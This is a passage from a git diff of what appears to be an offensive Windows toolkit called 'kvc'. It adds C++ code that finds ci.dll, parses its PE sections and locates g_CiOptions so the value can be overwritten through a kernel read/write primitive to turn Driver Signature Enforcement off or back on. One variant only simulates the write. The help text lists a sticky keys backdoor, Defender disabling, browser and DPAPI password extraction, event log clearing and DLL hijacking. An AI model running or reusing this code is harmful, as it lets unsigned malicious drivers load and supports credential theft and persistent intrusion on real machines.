+ ERROR(L"[DSE] Failed to locate ci.dll"); + return false; + } + + // Step 2: Locate g_CiOptions + m_ciOptionsAddr = FindCiOptions(ciBase.value()); + if (!m_ciOptionsAddr) { + ERROR(L"[DSE] Failed to locate g_CiOptions"); + return false; + } + + INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr); + + // Step 3: Read current value + auto current = m_rtc->Read32(m_ciOptionsAddr); + if (!current) { + ERROR(L"[DSE] Failed to read g_CiOptions"); + return false; + } + + DWORD currentValue = current.value(); + INFO(L"[DSE] Current g_CiOptions: 0x%08X", currentValue); + + // Step 4: Test write capability before modification + DEBUG(L"[DSE] Testing write capability before restoration..."); + if (!m_rtc->Write32(m_ciOptionsAddr, currentValue)) { + ERROR(L"[DSE] Memory test write failed - address may be read-only or protected"); + return false; + } + + auto testRead = m_rtc->Read32(m_ciOptionsAddr); + if (!testRead || testRead.value() != currentValue) { + ERROR(L"[DSE] Memory test verification failed"); + return false; + } + + DEBUG(L"[DSE] Write capability test passed"); + + // Step 5: Restore to original value or default (0x6) + DWORD newValue = m_originalValue ? m_originalValue : 0x6; + + if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) { + ERROR(L"[DSE] Failed to write g_CiOptions"); + return false; + } + + // Step 6: Verify the change + auto verify = m_rtc->Read32(m_ciOptionsAddr); + if (!verify || verify.value() != newValue) { + ERROR(L"[DSE] Verification failed"); + return false; + } + + SUCCESS(L"[DSE] DSE restored successfully! (0x%08X -> 0x%08X)", currentValue, newValue); + return true; +} + +std::optional DSEBypass::GetKernelModuleBase(const char* moduleName) noexcept { + HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll"); + if (!hNtdll) { + ERROR(L"[DSE] Failed to get ntdll.dll handle"); + return std::nullopt; + } + + typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)( + ULONG SystemInformationClass, + PVOID SystemInformation, + ULONG SystemInformationLength, + PULONG ReturnLength + ); + + auto pNtQuerySystemInformation = reinterpret_cast( + GetProcAddress(hNtdll, "NtQuerySystemInformation")); + + if (!pNtQuerySystemInformation) { + ERROR(L"[DSE] Failed to get NtQuerySystemInformation"); + return std::nullopt; + } + + // First call to get required buffer size + ULONG bufferSize = 0; + NTSTATUS status = pNtQuerySystemInformation( + 11, // SystemModuleInformation + nullptr, + 0, + &bufferSize + ); + + if (status != 0xC0000004L) { // STATUS_INFO_LENGTH_MISMATCH + ERROR(L"[DSE] NtQuerySystemInformation failed with status: 0x%08X", status); + return std::nullopt; + } + + // Allocate buffer and get module list + auto buffer = std::make_unique(bufferSize); + auto modules = reinterpret_cast(buffer.get()); + + status = pNtQuerySystemInformation( + 11, // SystemModuleInformation + modules, + bufferSize, + &bufferSize + ); + + if (status != 0) { + ERROR(L"[DSE] NtQuerySystemInformation failed (2nd call): 0x%08X", status); + return std::nullopt; + } + + INFO(L"[DSE] Found %d kernel modules", modules->Count); + + // Debug: Show first 10 modules for diagnostic purposes + DEBUG(L"[DSE] Listing first 10 kernel modules:"); + for (ULONG i = 0; i < modules->Count && i < 10; i++) { + auto& mod = modules->Modules[i]; + const char* fileName = strrchr(mod.ImageName, '\\'); + if (fileName) fileName++; + else fileName = mod.ImageName; + + DEBUG(L"[DSE] Module %d: %S at 0x%llX", i, fileName, + reinterpret_cast(mod.ImageBase)); + } + + // Search for target module by name + for (ULONG i = 0; i < modules->Count; i++) { + auto& mod = modules->Modules[i]; + + // Extract filename from full path + const char* fileName = strrchr(mod.ImageName, '\\'); + if (fileName) { + fileName++; // Skip backslash + } else { + fileName = mod.ImageName; + } + + if (_stricmp(fileName, moduleName) == 0) { + ULONG_PTR baseAddr = reinterpret_cast(mod.ImageBase); + + // Validate base address is not NULL + if (baseAddr == 0) { + ERROR(L"[DSE] Module %S found but ImageBase is NULL", moduleName); + continue; // Keep searching in case of duplicates + } + + DEBUG(L"[DSE] Found %S at 0x%llX (size: 0x%X)", moduleName, baseAddr, mod.ImageSize); + return baseAddr; + } + } + + ERROR(L"[DSE] Module %S not found in kernel", moduleName); + return std::nullopt; +} + +ULONG_PTR DSEBypass::FindCiOptions(ULONG_PTR ciBase) noexcept { + DEBUG(L"[DSE] Searching for g_CiOptions in ci.dll at base 0x%llX", ciBase); + + // Get CiPolicy section information + auto dataSection = GetDataSection(ciBase); + if (!dataSection) { + ERROR(L"[DSE] Failed to locate CiPolicy section in ci.dll"); + return 0; + } + + ULONG_PTR dataStart = dataSection->first; + SIZE_T dataSize = dataSection->second; + + DEBUG(L"[DSE] CiPolicy section: 0x%llX (size: 0x%llX)", dataStart, dataSize); + + // g_CiOptions is always at offset +4 in CiPolicy section + // This is a documented offset used by all DSE bypass tools + ULONG_PTR ciOptionsAddr = dataStart + 0x4; + + // Verify we can read from this address + auto currentValue = m_rtc->Read32(ciOptionsAddr); + if (!currentValue) { + ERROR(L"[DSE] Failed to read g_CiOptions at 0x%llX", ciOptionsAddr); + return 0; + } + + DEBUG(L"[DSE] Found g_CiOptions at: 0x%llX (value: 0x%08X)", ciOptionsAddr, currentValue.value()); + return ciOptionsAddr; +} + +std::optional> DSEBypass::GetDataSection(ULONG_PTR moduleBase) noexcept { + // Read DOS header (MZ signature) + auto dosHeader = m_rtc->Read16(moduleBase); + if (!dosHeader || dosHeader.value() != 0x5A4D) { // "MZ" + return std::nullopt; + } + + // Get PE header offset (e_lfanew) + auto e_lfanew = m_rtc->Read32(moduleBase + 0x3C); + if (!e_lfanew || e_lfanew.value() > 0x1000) { + return std::nullopt; + } + + ULONG_PTR ntHeaders = moduleBase + e_lfanew.value(); + + // Verify PE signature + auto peSignature = m_rtc->Read32(ntHeaders); + if (!peSignature || peSignature.value() != 0x4550) { // "PE" + return std::nullopt; + } + + // Get section count + auto numSections = m_rtc->Read16(ntHeaders + 0x6); + if (!numSections || numSections.value() > 50) { + return std::nullopt; + } + + auto sizeOfOptionalHeader = m_rtc->Read16(ntHeaders + 0x14); + if (!sizeOfOptionalHeader) return std::nullopt; + + ULONG_PTR firstSection = ntHeaders + 4 + 20 + sizeOfOptionalHeader.value(); + + // Debug: List all sections for diagnostic purposes + DEBUG(L"[DSE] Listing ALL sections in ci.dll:"); + for (WORD i = 0; i < numSections.value(); i++) { + ULONG_PTR sectionHeader = firstSection + (i * 40); + + // Read section name (8 bytes) + char name[9] = {0}; + for (int j = 0; j < 8; j++) { + auto ch = m_rtc->Read8(sectionHeader + j); + if (ch) name[j] = static_cast(ch.value()); + } + + auto virtualSize = m_rtc->Read32(sectionHeader + 0x08); + auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C); + auto characteristics = m_rtc->Read32(sectionHeader + 0x24); + + if (virtualSize && virtualAddr && characteristics) { + DWORD chars = characteristics.value(); + bool writable = (chars & 0x80000000) != 0; // IMAGE_SCN_MEM_WRITE + + DEBUG(L"[DSE] Section %d: %-8S RVA=0x%06X Size=0x%06X Chars=0x%08X %s", + i, name, virtualAddr.value(), virtualSize.value(), chars, + writable ? L"[WRITABLE]" : L"[READ-ONLY]"); + } + } + + // Search for CiPolicy section specifically + for (WORD i = 0; i < numSections.value(); i++) { + ULONG_PTR sectionHeader = firstSection + (i * 40); + + // Read section name + char name[9] = {0}; + for (int j = 0; j < 8; j++) { + auto ch = m_rtc->Read8(sectionHeader + j); + if (ch) name[j] = static_cast(ch.value()); + } + + auto virtualSize = m_rtc->Read32(sectionHeader + 0x08); + auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C); + + if (virtualSize && virtualAddr) { + // Look for CiPolicy section by name + if (strcmp(name, "CiPolicy") == 0) { + DEBUG(L"[DSE] Found CiPolicy section at RVA 0x%06X, size 0x%06X", + virtualAddr.value(), virtualSize.value()); + + return std::make_pair( + moduleBase + virtualAddr.value(), + static_cast(virtualSize.value()) + ); + } + } + } + + ERROR(L"[DSE] CiPolicy section not found in ci.dll"); + return std::nullopt; +} + +bool DSEBypass::IsValidDataPointer(ULONG_PTR moduleBase, ULONG_PTR addr) noexcept { + // Simplified validation - address should be within module bounds + // Maximum reasonable module size is 2MB + return (addr > moduleBase && addr < moduleBase + 0x200000); +} + +DWORD DSEBypass::GetWindowsBuild() noexcept { + OSVERSIONINFOEXW osInfo = { sizeof(osInfo) }; + + typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW); + RtlGetVersionPtr RtlGetVersion = (RtlGetVersionPtr)GetProcAddress( + GetModuleHandleW(L"ntdll.dll"), "RtlGetVersion"); + + if (RtlGetVersion) { + RtlGetVersion((PRTL_OSVERSIONINFOW)&osInfo); + return osInfo.dwBuildNumber; + } + + return 0; +} \ No newline at end of file diff --git a/kvc/DSEBypass_write.cpp b/kvc/DSEBypass_write.cpp new file mode 100644 index 0000000..80a444f --- /dev/null +++ b/kvc/DSEBypass_write.cpp @@ -0,0 +1,358 @@ +#include "DSEBypass.h" +#include "common.h" + +#pragma comment(lib, "ntdll.lib") + +// Kernel module structures (same as in Utils.cpp) +typedef struct _SYSTEM_MODULE { + ULONG_PTR Reserved1; + ULONG_PTR Reserved2; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT PathLength; + CHAR ImageName[256]; +} SYSTEM_MODULE, *PSYSTEM_MODULE; + +typedef struct _SYSTEM_MODULE_INFORMATION { + ULONG Count; + SYSTEM_MODULE Modules[1]; +} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; + +DSEBypass::DSEBypass(std::unique_ptr& rtc) : m_rtc(rtc) {} + +bool DSEBypass::DisableDSE() noexcept { + INFO(L"[DSE] [DRY RUN MODE] Attempting to disable Driver Signature Enforcement..."); + + // Step 1: Find ci.dll base address + auto ciBase = GetKernelModuleBase("ci.dll"); + if (!ciBase) { + ERROR(L"[DSE] Failed to locate ci.dll"); + return false; + } + + INFO(L"[DSE] ci.dll base: 0x%llX", ciBase.value()); + + // Step 2: Locate g_CiOptions in CiPolicy section + m_ciOptionsAddr = FindCiOptions(ciBase.value()); + if (!m_ciOptionsAddr) { + ERROR(L"[DSE] Failed to locate g_CiOptions"); + return false; + } + + INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr); + + // Step 3: Read current value and store as original + auto current = m_rtc->Read32(m_ciOptionsAddr); + if (!current) { + ERROR(L"[DSE] Failed to read g_CiOptions"); + return false; + } + + m_originalValue = current.value(); + INFO(L"[DSE] Original g_CiOptions: 0x%08X", m_originalValue); + + // Step 4: DRY RUN - Show what would be written for test + DWORD newValue = 0x0; + INFO(L"[DSE] [DRY RUN] WOULD write test: 0x%08X -> 0x%08X (same value test)", + m_originalValue, m_originalValue); + INFO(L"[DSE] [DRY RUN] Target address: 0x%llX", m_ciOptionsAddr); + + // Step 5: DRY RUN - Show what would be written for actual disable + INFO(L"[DSE] [DRY RUN] WOULD write actual: 0x%08X -> 0x%08X (disable DSE)", + m_originalValue, newValue); + INFO(L"[DSE] [DRY RUN] Target address: 0x%llX", m_ciOptionsAddr); + + SUCCESS(L"[DSE] [DRY RUN] DSE disable simulation completed (NO actual write performed)"); + SUCCESS(L"[DSE] [DRY RUN] If this succeeded, the real write would be: 0x%llX := 0x%08X", + m_ciOptionsAddr, newValue); + + return true; +} + +bool DSEBypass::RestoreDSE() noexcept { + INFO(L"[DSE] [DRY RUN MODE] Attempting to restore Driver Signature Enforcement..."); + + // Step 1: Find ci.dll base address + auto ciBase = GetKernelModuleBase("ci.dll"); + if (!ciBase) { + ERROR(L"[DSE] Failed to locate ci.dll"); + return false; + } + + // Step 2: Locate g_CiOptions + m_ciOptionsAddr = FindCiOptions(ciBase.value()); + if (!m_ciOptionsAddr) { + ERROR(L"[DSE] Failed to locate g_CiOptions"); + return false; + } + + INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr); + + // Step 3: Read current value + auto current = m_rtc->Read32(m_ciOptionsAddr); + if (!current) { + ERROR(L"[DSE] Failed to read g_CiOptions"); + return false; + } + + DWORD currentValue = current.value(); + INFO(L"[DSE] Current g_CiOptions: 0x%08X", currentValue); + + // Step 4: DRY RUN - Show what would be written for test + INFO(L"[DSE] [DRY RUN] WOULD write test: 0x%08X -> 0x%08X (same value test)", + currentValue, currentValue); + INFO(L"[DSE] [DRY RUN] Target address: 0x%llX", m_ciOptionsAddr); + + // Step 5: DRY RUN - Show what would be written for restore + DWORD newValue = m_originalValue ? m_originalValue : 0x6; + INFO(L"[DSE] [DRY RUN] WOULD write actual: 0x%08X -> 0x%08X (restore DSE)", + currentValue, newValue); + INFO(L"[DSE] [DRY RUN] Target address: 0x%llX", m_ciOptionsAddr); + + SUCCESS(L"[DSE] [DRY RUN] DSE restore simulation completed (NO actual write performed)"); + SUCCESS(L"[DSE] [DRY RUN] If this succeeded, the real write would be: 0x%llX := 0x%08X", + m_ciOptionsAddr, newValue); + + return true; +} + +std::optional DSEBypass::GetKernelModuleBase(const char* moduleName) noexcept { + HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll"); + if (!hNtdll) { + ERROR(L"[DSE] Failed to get ntdll.dll handle"); + return std::nullopt; + } + + typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)( + ULONG SystemInformationClass, + PVOID SystemInformation, + ULONG SystemInformationLength, + PULONG ReturnLength + ); + + auto pNtQuerySystemInformation = reinterpret_cast( + GetProcAddress(hNtdll, "NtQuerySystemInformation")); + + if (!pNtQuerySystemInformation) { + ERROR(L"[DSE] Failed to get NtQuerySystemInformation"); + return std::nullopt; + } + + // First call to get required buffer size + ULONG bufferSize = 0; + NTSTATUS status = pNtQuerySystemInformation( + 11, // SystemModuleInformation + nullptr, + 0, + &bufferSize + ); + + if (status != 0xC0000004L) { // STATUS_INFO_LENGTH_MISMATCH + ERROR(L"[DSE] NtQuerySystemInformation failed with status: 0x%08X", status); + return std::nullopt; + } + + // Allocate buffer and get module list + auto buffer = std::make_unique(bufferSize); + auto modules = reinterpret_cast(buffer.get()); + + status = pNtQuerySystemInformation( + 11, // SystemModuleInformation + modules, + bufferSize, + &bufferSize + ); + + if (status != 0) { + ERROR(L"[DSE] NtQuerySystemInformation failed (2nd call): 0x%08X", status); + return std::nullopt; + } + + INFO(L"[DSE] Found %d kernel modules", modules->Count); + + // Debug: Show first 10 modules for diagnostic purposes + DEBUG(L"[DSE] Listing first 10 kernel modules:"); + for (ULONG i = 0; i < modules->Count && i < 10; i++) { + auto& mod = modules->Modules[i]; + const char* fileName = strrchr(mod.ImageName, '\\'); + if (fileName) fileName++; + else fileName = mod.ImageName; + + DEBUG(L"[DSE] Module %d: %S at 0x%llX", i, fileName, + reinterpret_cast(mod.ImageBase)); + } + + // Search for target module by name + for (ULONG i = 0; i < modules->Count; i++) { + auto& mod = modules->Modules[i]; + + // Extract filename from full path + const char* fileName = strrchr(mod.ImageName, '\\'); + if (fileName) { + fileName++; // Skip backslash + } else { + fileName = mod.ImageName; + } + + if (_stricmp(fileName, moduleName) == 0) { + ULONG_PTR baseAddr = reinterpret_cast(mod.ImageBase); + + // Validate base address is not NULL + if (baseAddr == 0) { + ERROR(L"[DSE] Module %S found but ImageBase is NULL", moduleName); + continue; // Keep searching in case of duplicates + } + + DEBUG(L"[DSE] Found %S at 0x%llX (size: 0x%X)", moduleName, baseAddr, mod.ImageSize); + return baseAddr; + } + } + + ERROR(L"[DSE] Module %S not found in kernel", moduleName); + return std::nullopt; +} + +ULONG_PTR DSEBypass::FindCiOptions(ULONG_PTR ciBase) noexcept { + DEBUG(L"[DSE] Searching for g_CiOptions in ci.dll at base 0x%llX", ciBase); + + // Get CiPolicy section information + auto dataSection = GetDataSection(ciBase); + if (!dataSection) { + ERROR(L"[DSE] Failed to locate CiPolicy section in ci.dll"); + return 0; + } + + ULONG_PTR dataStart = dataSection->first; + SIZE_T dataSize = dataSection->second; + + DEBUG(L"[DSE] CiPolicy section: 0x%llX (size: 0x%llX)", dataStart, dataSize); + + // g_CiOptions is always at offset +4 in CiPolicy section + // This is a documented offset used by all DSE bypass tools + ULONG_PTR ciOptionsAddr = dataStart + 0x4; + + // Verify we can read from this address + auto currentValue = m_rtc->Read32(ciOptionsAddr); + if (!currentValue) { + ERROR(L"[DSE] Failed to read g_CiOptions at 0x%llX", ciOptionsAddr); + return 0; + } + + DEBUG(L"[DSE] Found g_CiOptions at: 0x%llX (value: 0x%08X)", ciOptionsAddr, currentValue.value()); + return ciOptionsAddr; +} + +std::optional> DSEBypass::GetDataSection(ULONG_PTR moduleBase) noexcept { + // Read DOS header (MZ signature) + auto dosHeader = m_rtc->Read16(moduleBase); + if (!dosHeader || dosHeader.value() != 0x5A4D) { // "MZ" + return std::nullopt; + } + + // Get PE header offset (e_lfanew) + auto e_lfanew = m_rtc->Read32(moduleBase + 0x3C); + if (!e_lfanew || e_lfanew.value() > 0x1000) { + return std::nullopt; + } + + ULONG_PTR ntHeaders = moduleBase + e_lfanew.value(); + + // Verify PE signature + auto peSignature = m_rtc->Read32(ntHeaders); + if (!peSignature || peSignature.value() != 0x4550) { // "PE" + return std::nullopt; + } + + // Get section count + auto numSections = m_rtc->Read16(ntHeaders + 0x6); + if (!numSections || numSections.value() > 50) { + return std::nullopt; + } + + auto sizeOfOptionalHeader = m_rtc->Read16(ntHeaders + 0x14); + if (!sizeOfOptionalHeader) return std::nullopt; + + ULONG_PTR firstSection = ntHeaders + 4 + 20 + sizeOfOptionalHeader.value(); + + // Debug: List all sections for diagnostic purposes + DEBUG(L"[DSE] Listing ALL sections in ci.dll:"); + for (WORD i = 0; i < numSections.value(); i++) { + ULONG_PTR sectionHeader = firstSection + (i * 40); + + // Read section name (8 bytes) + char name[9] = {0}; + for (int j = 0; j < 8; j++) { + auto ch = m_rtc->Read8(sectionHeader + j); + if (ch) name[j] = static_cast(ch.value()); + } + + auto virtualSize = m_rtc->Read32(sectionHeader + 0x08); + auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C); + auto characteristics = m_rtc->Read32(sectionHeader + 0x24); + + if (virtualSize && virtualAddr && characteristics) { + DWORD chars = characteristics.value(); + bool writable = (chars & 0x80000000) != 0; // IMAGE_SCN_MEM_WRITE + + DEBUG(L"[DSE] Section %d: %-8S RVA=0x%06X Size=0x%06X Chars=0x%08X %s", + i, name, virtualAddr.value(), virtualSize.value(), chars, + writable ? L"[WRITABLE]" : L"[READ-ONLY]"); + } + } + + // Search for CiPolicy section specifically + for (WORD i = 0; i < numSections.value(); i++) { + ULONG_PTR sectionHeader = firstSection + (i * 40); + + // Read section name + char name[9] = {0}; + for (int j = 0; j < 8; j++) { + auto ch = m_rtc->Read8(sectionHeader + j); + if (ch) name[j] = static_cast(ch.value()); + } + + auto virtualSize = m_rtc->Read32(sectionHeader + 0x08); + auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C); + + if (virtualSize && virtualAddr) { + // Look for CiPolicy section by name + if (strcmp(name, "CiPolicy") == 0) { + DEBUG(L"[DSE] Found CiPolicy section at RVA 0x%06X, size 0x%06X", + virtualAddr.value(), virtualSize.value()); + + return std::make_pair( + moduleBase + virtualAddr.value(), + static_cast(virtualSize.value()) + ); + } + } + } + + ERROR(L"[DSE] CiPolicy section not found in ci.dll"); + return std::nullopt; +} + +bool DSEBypass::IsValidDataPointer(ULONG_PTR moduleBase, ULONG_PTR addr) noexcept { + // Simplified validation - address should be within module bounds + // Maximum reasonable module size is 2MB + return (addr > moduleBase && addr < moduleBase + 0x200000); +} + +DWORD DSEBypass::GetWindowsBuild() noexcept { + OSVERSIONINFOEXW osInfo = { sizeof(osInfo) }; + + typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW); + RtlGetVersionPtr RtlGetVersion = (RtlGetVersionPtr)GetProcAddress( + GetModuleHandleW(L"ntdll.dll"), "RtlGetVersion"); + + if (RtlGetVersion) { + RtlGetVersion((PRTL_OSVERSIONINFOW)&osInfo); + return osInfo.dwBuildNumber; + } + + return 0; +} \ No newline at end of file diff --git a/kvc/HelpSystem.cpp b/kvc/HelpSystem.cpp index 610df6c..45d4b3f 100644 --- a/kvc/HelpSystem.cpp +++ b/kvc/HelpSystem.cpp @@ -23,6 +23,7 @@ void HelpSystem::PrintUsage(std::wstring_view programName) noexcept PrintDefenderCommands(); PrintSecurityEngineCommands(); PrintDPAPICommands(); + PrintWatermarkCommands(); PrintProtectionTypes(); PrintExclusionTypes(); PrintPatternMatching(); @@ -226,6 +227,17 @@ void HelpSystem::PrintDPAPICommands() noexcept std::wcout << L"\n"; } +void HelpSystem::PrintWatermarkCommands() noexcept +{ + PrintSectionHeader(L"Watermark Management"); + PrintCommandLine(L"watermark remove", L"Remove Windows desktop watermark (alias: wm remove)"); + PrintCommandLine(L"watermark restore", L"Restore Windows desktop watermark (alias: wm restore)"); + PrintCommandLine(L"watermark status", L"Check current watermark status (alias: wm status)"); + PrintNote(L"Hijacks ExplorerFrame.dll via registry redirection"); + PrintNote(L"Requires Administrator privileges and TrustedInstaller access"); + std::wcout << L"\n"; +} + void HelpSystem::PrintProtectionTypes() noexcept { PrintSectionHeader(L"Protection Types"); @@ -371,6 +383,12 @@ void HelpSystem::PrintUsageExamples(std::wstring_view programName) noexcept printLine(L"kvc dse on", L"Re-enable DSE for system security"); printLine(L"kvc dse", L"Check current DSE status"); + // Watermark management + printLine(L"kvc wm status", L"Check if watermark is removed or active"); + printLine(L"kvc wm remove", L"Remove Windows desktop watermark"); + printLine(L"kvc wm restore", L"Restore original Windows watermark"); + printLine(L"kvc watermark remove", L"Full command syntax (same as 'wm remove')"); + // System backdoors printLine(L"kvc shift", L"Install sticky keys backdoor"); printLine(L"kvc unshift", L"Remove sticky keys backdoor"); diff --git a/kvc/HelpSystem.h b/kvc/HelpSystem.h index f8f3cf6..2d12eba 100644 --- a/kvc/HelpSystem.h +++ b/kvc/HelpSystem.h @@ -1,425 +1,55 @@ -/** - * @file HelpSystem.h - * @brief Comprehensive help system with modular command documentation - * @author Marek Wesolowski - * @date 2025 - * @copyright KVC Framework - * - * Provides formatted help output with color-coded sections, usage examples, - * and detailed command explanations. - * Modular design allows displaying specific help sections as needed. - */ +// HelpSystem.h +// Comprehensive help system with modular command documentation +// Author: Marek Wesolowski, 2025 #pragma once #include "common.h" #include -/** - * @class HelpSystem - * @brief Comprehensive help system for KVC with modular command documentation - * - * Features: - * - Color-coded section headers for readability - * - Categorized command listings by functionality - * - Detailed parameter explanations - * - Usage examples with real scenarios - * - Technical feature documentation - * - Security notices and warnings - * - * Help Categories: - * - Basic commands (help, list, info) - * - Process protection (protect, unprotect, set) - * - Process termination (kill) - * - Windows Defender management - * - DPAPI password extraction - * - Browser credential extraction - * - Service management - * - Registry operations - * - Security engine control - * - * @note Static class - no instantiation required - * @note Uses ANSI color codes for enhanced readability - */ +// Static help system - no instantiation needed class HelpSystem { public: - HelpSystem() = delete; ///< Constructor deleted - static class - ~HelpSystem() = delete; ///< Destructor deleted - static class + HelpSystem() = delete; + ~HelpSystem() = delete; - // === Main Help Interface === - - /** - * @brief Print complete usage information - * @param programName Program name for display in examples - * - * Displays all help sections in organized format: - * 1. Program header with version and author - * 2. Basic command documentation - * 3. Process protection commands - * 4. System commands - * 5. Process termination commands - * 6. Windows Defender commands - * 7. DPAPI extraction commands - * 8. Browser extraction commands - * 9. Service management commands - * 10. Protection type explanations - * 11. Usage examples - * 12. Security notice and footer - * - * @note Comprehensive help covering all framework features - */ + // Main help interface static void PrintUsage(std::wstring_view programName) noexcept; - - /** - * @brief Print header with version and author info - * - * Displays KVC banner with ASCII art, version information, - * author credits, and copyright notice. - * - * @note Uses color coding for visual appeal - */ static void PrintHeader() noexcept; - - /** - * @brief Print basic command documentation - * - * Commands covered: - * - help: Display help information - * - list: List protected processes - * - info: Show process protection information - * - * @note Basic commands available without special privileges - */ - static void PrintBasicCommands() noexcept; - - /** - * @brief Print process protection command documentation - * - * Commands covered: - * - protect: Add protection to unprotected process - * - unprotect: Remove protection from process - * - set: Force set protection level (overwrite) - * - set-signer: Change protection for specific signer - * - restore: Restore protection from session - * - * @note Requires driver and appropriate privileges - */ - static void PrintProtectionCommands() noexcept; - - /** - * @brief Print system command documentation - * - * Commands covered: - * - dump: Dump process memory to file - * - elevate: Elevate current process protection - * - clear-logs: Clear Windows event logs - * - * @note Advanced operations requiring high privileges - */ - static void PrintSystemCommands() noexcept; - - /** - * @brief Print process termination command documentation - * - * Commands covered: - * - kill: Terminate process with protection matching - * - kill multiple: Terminate multiple processes - * - * @note Supports both PID and name-based targeting - */ - static void PrintProcessTerminationCommands() noexcept; - - /** - * @brief Print Windows Defender command documentation - * - * Commands covered: - * - defender-enable: Enable Windows Defender exclusions - * - defender-disable: Disable Windows Defender exclusions - * - defender-add: Add specific exclusion - * - defender-remove: Remove specific exclusion - * - * @note Requires TrustedInstaller privileges for some operations - */ - static void PrintDefenderCommands() noexcept; - - /** - * @brief Print DPAPI extraction command documentation - * - * Commands covered: - * - extract-passwords: Extract passwords from Chrome/Edge/WiFi - * - master-keys: Display extracted master keys - * - decrypt: Decrypt specific DPAPI blob - * - * @note Requires TrustedInstaller privileges for registry access - */ - static void PrintDPAPICommands() noexcept; - - /** - * @brief Print browser credential extraction documentation - * - * Commands covered: - * - chrome-passwords: Extract Chrome passwords only - * - edge-passwords: Extract Edge passwords only - * - browser-all: Extract from all supported browsers - * - * @note Uses SQLite and AES-GCM decryption for browser data - */ - static void PrintBrowserCommands() noexcept; - - /** - * @brief Print service management command documentation - * - * Commands covered: - * - service-install: Install as Windows Service - * - service-start: Start service - * - service-stop: Stop service - * - service-uninstall: Uninstall service - * - * @note Requires administrative privileges - */ - static void PrintServiceCommands() noexcept; - - /** - * @brief Print protection type documentation - * - * Explains PP (Protected Process) and PPL (Protected Process Light) - * concepts, including: - * - Protection level differences - * - Signer type authorities - * - Signature verification levels - * - Practical implications - * - * @note Technical background for protection operations - */ - static void PrintProtectionTypes() noexcept; - - /** - * @brief Print Defender exclusion type documentation - * - * Explains different exclusion types: - * - Paths: File and folder exclusions - * - Processes: Process name exclusions - * - Extensions: File extension exclusions - * - IPs: IP address exclusions - * - * @note Used with defender-add and defender-remove commands - */ - static void PrintExclusionTypes() noexcept; - - /** - * @brief Print pattern matching documentation - * - * Explains wildcard and regex support in process targeting: - * - Partial name matching - * - Case-insensitive matching - * - Multiple target specification - * - Comma-separated lists - * - * @note Used in process targeting commands - */ - static void PrintPatternMatching() noexcept; - - /** - * @brief Print technical features documentation - * - * Explains advanced technical features: - * - Kernel offset discovery - * - EPROCESS structure manipulation - * - Driver communication - * - TrustedInstaller integration - * - Session state tracking - * - * @note For advanced users and developers - */ - static void PrintTechnicalFeatures() noexcept; - - /** - * @brief Print unknown command message - * @param command Unknown command that was entered - * - * Displays friendly error message when unknown command is entered. - * Suggests using 'help' command for available options. - * - * @note User-friendly error handling - */ static void PrintUnknownCommandMessage(std::wstring_view command) noexcept; - /** - * @brief Print Defender-specific notes and warnings - * - * Important information about Defender exclusion management: - * - Real-time protection implications - * - Exclusion persistence across reboots - * - Security considerations - * - Best practices - * - * @note Security-focused guidance - */ - static void PrintDefenderNotes() noexcept; - - /** - * @brief Print registry operation command documentation - * - * Commands covered: - * - registry-backup: Backup registry hives - * - registry-restore: Restore registry hives - * - registry-defrag: Defragment registry - * - * @note Requires TrustedInstaller privileges - */ - static void PrintRegistryCommands() noexcept; - - /** - * @brief Print security engine command documentation - * - * Commands covered: - * - security-disable: Disable Windows Defender engine - * - security-enable: Enable Windows Defender engine - * - security-status: Check security engine status - * - * @note Advanced system modification - use with caution - */ - static void PrintSecurityEngineCommands() noexcept; - - /** - * @brief Print DSE (Driver Signature Enforcement) command documentation - * - * Commands covered: - * - dse off: Disable Driver Signature Enforcement - * - dse on: Enable Driver Signature Enforcement - * - dse: Check DSE status - * - * @note Modifying DSE is an advanced system operation and may cause instability or BSOD. Use with extreme caution. - */ - - static void PrintDSECommands() noexcept; - - - /** - * @brief Print session management documentation - * - * Explains boot session tracking and restoration: - * - Session state persistence - * - Automatic reboot detection - * - Protection state restoration - * - Session cleanup operations - * - * @note Cross-boot state tracking feature - */ + // Command category sections + static void PrintServiceCommands() noexcept; + static void PrintDSECommands() noexcept; + static void PrintBasicCommands() noexcept; + static void PrintProcessTerminationCommands() noexcept; + static void PrintProtectionCommands() noexcept; static void PrintSessionManagement() noexcept; + static void PrintSystemCommands() noexcept; + static void PrintRegistryCommands() noexcept; + static void PrintBrowserCommands() noexcept; + static void PrintDefenderCommands() noexcept; + static void PrintSecurityEngineCommands() noexcept; + static void PrintDPAPICommands() noexcept; + static void PrintWatermarkCommands() noexcept; - /** - * @brief Print sticky keys backdoor documentation - * - * Installation, removal, and security warnings for: - * - Sticky keys backdoor mechanism - * - Security implications - * - Installation procedure - * - Removal procedure - * - * @warning Security risk - authorized use only - */ + // Documentation sections + static void PrintProtectionTypes() noexcept; + static void PrintExclusionTypes() noexcept; + static void PrintPatternMatching() noexcept; + static void PrintTechnicalFeatures() noexcept; + static void PrintDefenderNotes() noexcept; static void PrintStickyKeysInfo() noexcept; - - /** - * @brief Print undumpable process documentation - * - * Lists processes with anti-dump protection: - * - LSA protected processes - - System critical processes - * - Anti-malware protected processes - * - Dumpability analysis results - * - * @note Processes that cannot be memory dumped - */ static void PrintUndumpableProcesses() noexcept; - - /** - * @brief Print usage examples with real scenarios - * @param programName Program name for display in examples - * - * Shows practical command combinations for common tasks: - * - Process protection manipulation - * - Password extraction - * - System maintenance - * - Debugging and analysis - * - * @note Real-world usage scenarios - */ static void PrintUsageExamples(std::wstring_view programName) noexcept; - - /** - * @brief Print security notice and disclaimer - * - * Legal and ethical use warnings: - * - Authorized testing only - * - Legal compliance 